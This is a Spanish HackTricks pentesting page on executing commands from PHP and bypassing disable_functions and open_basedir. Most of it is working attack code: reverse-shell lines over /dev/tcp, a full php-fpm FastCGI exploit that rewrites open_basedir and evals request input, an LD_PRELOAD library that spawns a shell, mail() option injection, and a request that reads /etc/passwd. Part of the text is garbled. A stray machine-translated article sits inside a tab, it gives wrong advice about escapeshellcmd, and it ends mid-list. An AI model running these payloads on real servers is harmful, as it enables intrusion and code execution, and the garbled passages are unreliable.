PHP - Funciones útiles y bypass de disable_functions/open_basedir
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Ejecución de comandos y código PHP
Ejecución de comandos PHP
exec - Devuelve la última línea de la salida de los comandos
echo exec("uname -a");
passthru - Pasa la salida de comandos directamente al navegador.
echo passthru("uname -a");
system - Pasa la salida de los comandos directamente al navegador y devuelve la última línea.
echo system("uname -a");
shell_exec - Devuelve la salida de los comandos
echo shell_exec("uname -a");
`` (backticks) - Lo mismo que shell_exec()
echo `uname -a`
popen - Abre un tubo de lectura o escritura hacia un proceso de un comando.
echo fread(popen("/bin/ls /", "r"), 4096);
proc_open - Similar a popen() pero con un mayor grado de control.
proc_close(proc_open("uname -a",array(),$something));
preg_replace
La función preg_replace
es una función de PHP que se utiliza para buscar y reemplazar texto utilizando expresiones regulares. Esta función es muy útil para realizar operaciones de búsqueda y reemplazo en cadenas de texto complejas.
La sintaxis básica de la función preg_replace
es la siguiente:
preg_replace($pattern, $replacement, $subject);
Donde $pattern
es la expresión regular que se utilizará para buscar el texto, $replacement
es el texto que se utilizará para reemplazar el texto encontrado y $subject
es la cadena de texto en la que se realizará la búsqueda y el reemplazo.
Es importante tener en cuenta que la función preg_replace
puede ser utilizada para realizar ataques de inyección de código si no se utiliza de manera segura. Por lo tanto, es recomendable deshabilitar esta función en entornos de producción utilizando la directiva disable_functions
o la directiva open_basedir
.
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
pcntl_exec - Ejecuta un programa (por defecto en PHP moderno y no tan moderno, necesitas cargar el módulo pcntl.so
para usar esta función)
pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
mail / mb_send_mail - Esta función se utiliza para enviar correos electrónicos, pero también se puede abusar de ella para inyectar comandos arbitrarios dentro del parámetro $options
. Esto se debe a que la función mail
de php suele llamar al binario sendmail
dentro del sistema y permite poner opciones adicionales. Sin embargo, no podrás ver la salida del comando ejecutado, por lo que se recomienda crear un script de shell que escriba la salida en un archivo, ejecutarlo usando mail y mostrar la salida:
file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');
dl - Esta función se puede utilizar para cargar dinámicamente una extensión de PHP. Esta función no siempre estará presente, por lo que debe verificar si está disponible antes de intentar explotarla. Lee esta página para aprender cómo explotar esta función.
Ejecución de código PHP
Aparte de eval, hay otras formas de ejecutar código PHP: include/require se pueden utilizar para la ejecución remota de código en forma de vulnerabilidades de inclusión de archivos locales y remotos.
${<php code>} - Si su entrada se refleja en cualquier cadena PHP, se ejecutará.
eval()
assert() - idéntico a eval()
preg_replace('/.*/e',...) - /e hace un eval() en la coincidencia
create_function() - Crea una función y usa eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);
$func = new ReflectionFunction($_GET['func_name']);
$func->invoke(); o
$func->invokeArgs(array());
serialize/unserialize
disable_functions & open_basedir
Las funciones deshabilitadas son la configuración que se puede configurar en los archivos .ini
en PHP que prohibirán el uso de las funciones indicadas. Open basedir es la configuración que indica a PHP la carpeta a la que puede acceder.
La configuración de PHP solía configurarse en la ruta /etc/php7/conf.d o similar.
Ambas configuraciones se pueden ver en la salida de phpinfo()
:
open_basedir Bypass
open_basedir
configurará las carpetas a las que PHP puede acceder, no podrá escribir/leer/ejecutar ningún archivo fuera de esas carpetas, pero tampoco podrá listar otros directorios.
Sin embargo, si de alguna manera puede ejecutar código PHP arbitrario, puede intentar el siguiente fragmento de código para intentar burlar la restricción.
Listando directorios con bypass glob://
En este primer ejemplo se utiliza el protocolo glob://
con algún bypass de ruta:
<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
Nota1: En la ruta también se puede usar /e??/*
para listar /etc/*
y cualquier otra carpeta.
Nota2: Parece que parte del código está duplicado, ¡pero en realidad es necesario!
Nota3: Este ejemplo solo es útil para listar carpetas, no para leer archivos.
Bypass completo de open_basedir abusando de FastCGI
Si desea aprender más sobre PHP-FPM y FastCGI, puede leer la primera sección de esta página.
Si php-fpm
está configurado, puede abusar de él para evitar completamente open_basedir:
Tenga en cuenta que lo primero que debe hacer es encontrar dónde está el socket unix de php-fpm. Por lo general, se encuentra en /var/run
, por lo que puede usar el código anterior para listar el directorio y encontrarlo.
Código de aquí.
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command='.$_REQUEST['cmd'],
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
Este script se comunicará con el socket Unix de php-fpm (generalmente ubicado en /var/run si se utiliza fpm) para ejecutar código arbitrario. La configuración de open_basedir
será sobrescrita por el atributo PHP_VALUE que se envía.
Observe cómo se utiliza eval
para ejecutar el código PHP que se envía dentro del parámetro cmd.
También observe la línea 324 comentada, puede descomentarla y el payload se conectará automáticamente a la URL dada y ejecutará el código PHP contenido allí.
Simplemente acceda a http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');
para obtener el contenido del archivo /etc/passwd
.
{% hint style="warning" %}
Puede estar pensando que de la misma manera en que hemos sobrescrito la configuración de open_basedir
, podemos sobrescribir disable_functions
. Bueno, inténtelo, pero no funcionará, aparentemente disable_functions
solo se puede configurar en un archivo de configuración .ini
de php y los cambios que realice usando PHP_VALUE no serán efectivos en esta configuración específica.
{% endhint %}
Bypass de disable_functions
Si logra tener código PHP ejecutándose dentro de una máquina, probablemente querrá pasar al siguiente nivel y ejecutar comandos del sistema arbitrarios. En esta situación, es habitual descubrir que la mayoría o todas las funciones de PHP que permiten ejecutar comandos del sistema han sido deshabilitadas en disable_functions
.
Entonces, veamos cómo puede evitar esta restricción (si puede).
Descubrimiento automático de bypass
Puede utilizar la herramienta https://github.com/teambi0s/dfunc-bypasser y le indicará qué función (si hay alguna) puede usar para bypass disable_functions
.
Bypass utilizando otras funciones del sistema
Simplemente vuelva al principio de esta página y verifique si alguna de las funciones que ejecutan comandos no está deshabilitada y está disponible en el entorno. Si encuentra al menos una, podrá usarla para ejecutar comandos del sistema arbitrarios.
Bypass de LD_PRELOAD
Es bien sabido que algunas funciones en PHP como mail()
van a ejecutar binarios dentro del sistema. Por lo tanto, puede abusar de ellas utilizando la variable de entorno LD_PRELOAD
para hacer que carguen una biblioteca arbitraria que pueda ejecutar cualquier cosa.
Funciones que se pueden usar para bypass de disable_functions con LD_PRELOAD
mail
mb_send_mail
: Si su sistema tiene instalado el módulophp-mbstring
, entonces esta función se puede usar para evitar lasdisable_functions
de PHP.imap_mail
: Si su sistema tiene instalado el módulophp-imap
, entonces esta función también se puede usar para evitar lasdisable_functions
de PHP.libvirt_connect
: Si su sistema tiene instalado el módulophp-libvirt-php
, entonces esta función también se puede usar para evitar lasdisable_functions
.gnupg_init
: Si su sistema tiene instalado el módulophp-gnupg
, entonces esta función también se puede usar para evitar lasdisable_functions
.new imagick()
: Puede encontrar aquí un writeup para aprender cómo abusar de esta clase.
Puede encontrar aquí el script de fuzzing que se utilizó para encontrar esas funciones.
Aquí hay una biblioteca que puede compilar para abusar de la variable de entorno LD_PRELOAD
:
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}
Bypass usando Chankro
Para aprovechar esta mala configuración, puedes usar Chankro. Esta es una herramienta que generará un exploit de PHP que debes cargar en el servidor vulnerable y ejecutarlo (acceder a él a través de la web).
Chankro escribirá en el disco del servidor víctima la biblioteca y la shell inversa que deseas ejecutar y utilizará el truco de LD_PRELOAD
+ la función mail()
de PHP para ejecutar la shell inversa.
Ten en cuenta que para usar Chankro, mail
y putenv
no pueden aparecer en la lista de disable_functions
.
En el siguiente ejemplo puedes ver cómo crear un exploit de chankro para arch 64, que ejecutará whoami
y guardará la salida en /tmp/chankro_shell.out, chankro escribirá la biblioteca y el payload en /tmp y el exploit final se llamará bicho.php (ese es el archivo que debes cargar en el servidor víctima):
{% tabs %} {% tab title="shell.sh" %}
#!/bin/sh
whoami > /tmp/chankro_shell.out
{% endtab %}
{% tab title="Español" %}
Funciones útiles de PHP para bypass de disable_functions
y open_basedir
Introducción
En algunas situaciones, cuando se está realizando una prueba de penetración, se puede encontrar que la función disable_functions
de PHP está habilitada en el servidor. Esta función se utiliza para deshabilitar ciertas funciones de PHP que pueden ser peligrosas o inseguras. Por ejemplo, la función exec()
se utiliza para ejecutar comandos en el sistema operativo subyacente, lo que puede ser peligroso si se utiliza de manera incorrecta. Si exec()
está en la lista de funciones deshabilitadas, no se podrá utilizar en el código PHP.
Otra restricción común que se encuentra en los servidores web es la configuración open_basedir
. Esta configuración limita el acceso del código PHP a un conjunto específico de directorios en el sistema de archivos. Si se intenta acceder a un archivo fuera de estos directorios, se producirá un error.
En este artículo, se presentan algunas funciones útiles de PHP que se pueden utilizar para eludir estas restricciones.
Funciones útiles
dl()
La función dl()
se utiliza para cargar una extensión de PHP en tiempo de ejecución. Si la función dl()
no está deshabilitada, se puede utilizar para cargar una extensión que permita la ejecución de comandos en el sistema operativo subyacente.
dl("nombre_de_la_extension.so");
proc_open()
La función proc_open()
se utiliza para ejecutar un comando en el sistema operativo subyacente y obtener un controlador de proceso para interactuar con él. Si la función exec()
está deshabilitada, se puede utilizar proc_open()
para ejecutar comandos en el sistema operativo subyacente.
$descriptorspec = array(
0 => array("pipe", "r"), // stdin es una tubería donde el proceso va a leer
1 => array("pipe", "w"), // stdout es una tubería donde el proceso va a escribir
2 => array("pipe", "w") // stderr es una tubería donde el proceso va a escribir
);
$process = proc_open("comando_a_ejecutar", $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], "entrada_para_el_comando\n");
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
echo stream_get_contents($pipes[2]);
fclose($pipes[2]);
$return_value = proc_close($process);
}
popen()
La función popen()
se utiliza para ejecutar un comando en el sistema operativo subyacente y obtener un controlador de archivo para interactuar con él. Si la función exec()
está deshabilitada, se puede utilizar popen()
para ejecutar comandos en el sistema operativo subyacente.
$handle = popen("comando_a_ejecutar", "r");
echo fread($handle, 8192);
pclose($handle);
system()
La función system()
se utiliza para ejecutar un comando en el sistema operativo subyacente y mostrar la salida. Si la función exec()
está deshabilitada, se puede utilizar system()
para ejecutar comandos en el sistema operativo subyacente.
system("comando_a_ejecutar");
passthru()
La función passthru()
se utiliza para ejecutar un comando en el sistema operativo subyacente y mostrar la salida directamente en el navegador. Si la función exec()
está deshabilitada, se puede utilizar passthru()
para ejecutar comandos en el sistema operativo subyacente.
passthru("comando_a_ejecutar");
shell_exec()
La función shell_exec()
se utiliza para ejecutar un comando en el sistema operativo subyacente y devolver la salida como una cadena. Si la función exec()
está deshabilitada, se puede utilizar shell_exec()
para ejecutar comandos en el sistema operativo subyacente.
echo shell_exec("comando_a_ejecutar");
escapeshellcmd()
La función escapeshellcmd()
se utiliza para escapar los caracteres especiales en un comando que se va a ejecutar en el sistema operativo subyacente. Esto es importante para evitar la inyección de comandos. Si la función exec()
está deshabilitada, se puede utilizar escapeshellcmd()
para escapar los caracteres especiales en un comando que se va a ejecutar.
$command = escapeshellcmd($_GET["command"]);
system($command);
escapeshellarg()
La función escapeshellarg()
se utiliza para escapar los caracteres especiales en un argumento que se va a pasar a un comando que se va a ejecutar en el sistema operativo subyacente. Esto es importante para evitar la inyección de comandos. Si la función exec()
está deshabilitada, se puede utilizar escapeshellarg()
para escapar los caracteres especiales en un argumento que se va a pasar a un comando que se va a ejecutar.
$arg = escapeshellarg($_GET["arg"]);
system("comando_a_ejecutar " . $arg);
Conclusión
En este artículo, se han presentado algunas funciones útiles de PHP que se pueden utilizar para eludir las restricciones de disable_functions
y open_basedir
. Es importante tener en cuenta que estas funciones pueden ser peligrosas si se utilizan de manera incorrecta y que se deben utilizar con precaución.
python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
{% endtab %} {% endtabs %}
Si encuentra que la función mail está bloqueada por funciones deshabilitadas, aún puede usar la función mb_send_mail.
Más información sobre esta técnica y Chankro aquí: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/
"Bypass" usando las capacidades de PHP
Tenga en cuenta que usando PHP puede leer y escribir archivos, crear directorios y cambiar permisos.
Incluso puede volcar bases de datos.
Tal vez usando PHP para enumerar la caja, puede encontrar una manera de escalar privilegios/ejecutar comandos (por ejemplo, leyendo alguna clave ssh privada).
He creado una webshell que hace que sea muy fácil realizar estas acciones (tenga en cuenta que la mayoría de las webshells también le ofrecerán estas opciones): https://github.com/carlospolop/phpwebshelllimited
Bypasses dependientes de módulos/versiones
Hay varias formas de evitar las funciones deshabilitadas si se está utilizando algún módulo específico o explotar alguna versión específica de PHP:
- FastCGI/PHP-FPM (FastCGI Process Manager)
- Bypass con FFI - Interfaz de Función Externa habilitada
- Bypass a través de mem
- mod_cgi
- Extensión segura de Perl de PHP
- Función dl
- Este exploit
- 5.* - explotable con cambios menores en el PoC
- 7.0 - todas las versiones hasta la fecha
- 7.1 - todas las versiones hasta la fecha
- 7.2 - todas las versiones hasta la fecha
- 7.3 - todas las versiones hasta la fecha
- 7.4 - todas las versiones hasta la fecha
- 8.0 - todas las versiones hasta la fecha
- Desde la versión 7.0 hasta la 8.0 (solo Unix)
- PHP 7.0=7.4 (*nix)
- Imagick 3.3.0 PHP >= 5.4
- PHP 5.x Shellsock
- PHP 5.2.4 ionCube
- PHP <= 5.2.9 Windows
- PHP 5.2.4/5.2.5 cURL
- PHP 5.2.3 -Win32std
- [